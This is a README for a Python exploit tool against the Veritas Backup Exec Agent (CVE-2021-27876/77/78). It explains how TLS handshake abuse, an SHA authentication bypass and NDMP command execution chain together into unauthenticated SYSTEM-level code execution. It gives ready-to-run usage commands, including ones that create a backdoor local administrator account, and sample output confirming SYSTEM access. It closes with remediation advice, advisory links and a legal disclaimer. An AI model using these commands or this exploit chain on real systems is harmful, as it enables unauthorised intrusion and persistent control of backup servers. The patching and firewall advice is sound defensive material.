CVE-2021-27876

Unauthenticated RCE exploit for Veritas Backup Exec Agent (CVE-2021-27876/77/78) — SHA auth bypass to SYSTEM via NDMP

CVEs

Advisory: Veritas VTS21-003

Affected Versions

• Backup Exec 16.x
• Backup Exec 20.x
• Backup Exec 21.x ≤ 21.2 (agent revision ≤ 9.3)

Fixed in: Backup Exec 21.3 and later.

How It Works

The Veritas Backup Exec Agent listens on TCP/10000 and speaks the NDMP (Network Data Management Protocol). The exploit chains three weaknesses:

1. TLS handshake abuse — The agent requests a CSR during its custom TLS negotiation. The exploit generates a local CA, signs the agent's CSR, and completes the handshake, upgrading the socket to TLS without any pre-shared secret.

2. SHA auth bypass (CVE-2021-27876) — The NDMP SHA authentication computes SHA256('\x00' * 64 + challenge). Because the password is prepended as a 64-byte zero-padded block and no server-side validation of the password material occurs, any client can authenticate as Administrator without knowing the password.

3. NDMP_EXECUTE_COMMAND (CVE-2021-27878) — Once authenticated, the NDMP_EXECUTE_COMMAND message type runs arbitrary OS commands as NT AUTHORITY\SYSTEM. Output is redirected to C:\Windows\Temp\_be_out.txt and read back via NDMP_FILE_READ.

Requirements

Python 3.8+

On modern distros Python is marked "externally managed" (PEP 668), so install the dependency into a virtual environment:

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate
pip install cryptography

Usage

python3 be_rce.py

Examples:

# Confirm SYSTEM access
python3 be_rce.py 10.10.10.50 "whoami"

# Dump hostname and domain
python3 be_rce.py 10.10.10.50 "whoami /all"

# Add a local admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"

Sample output:

[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────

Remediation

• Upgrade Veritas Backup Exec Agent to 21.3 or later on all hosts
• Restrict TCP/10000 to authorised backup management hosts via host firewall and network ACLs
• Audit all hosts running the Backup Exec agent across your environment

References

• https://www.veritas.com/support/en_US/security/VTS21-003
• https://nvd.nist.gov/vuln/detail/CVE-2021-27876
• https://nvd.nist.gov/vuln/detail/CVE-2021-27877
• https://nvd.nist.gov/vuln/detail/CVE-2021-27878
• https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb

Legal

This tool is provided for authorised penetration testing and security research only. Use against systems without explicit written permission is illegal. The author accepts no liability for misuse.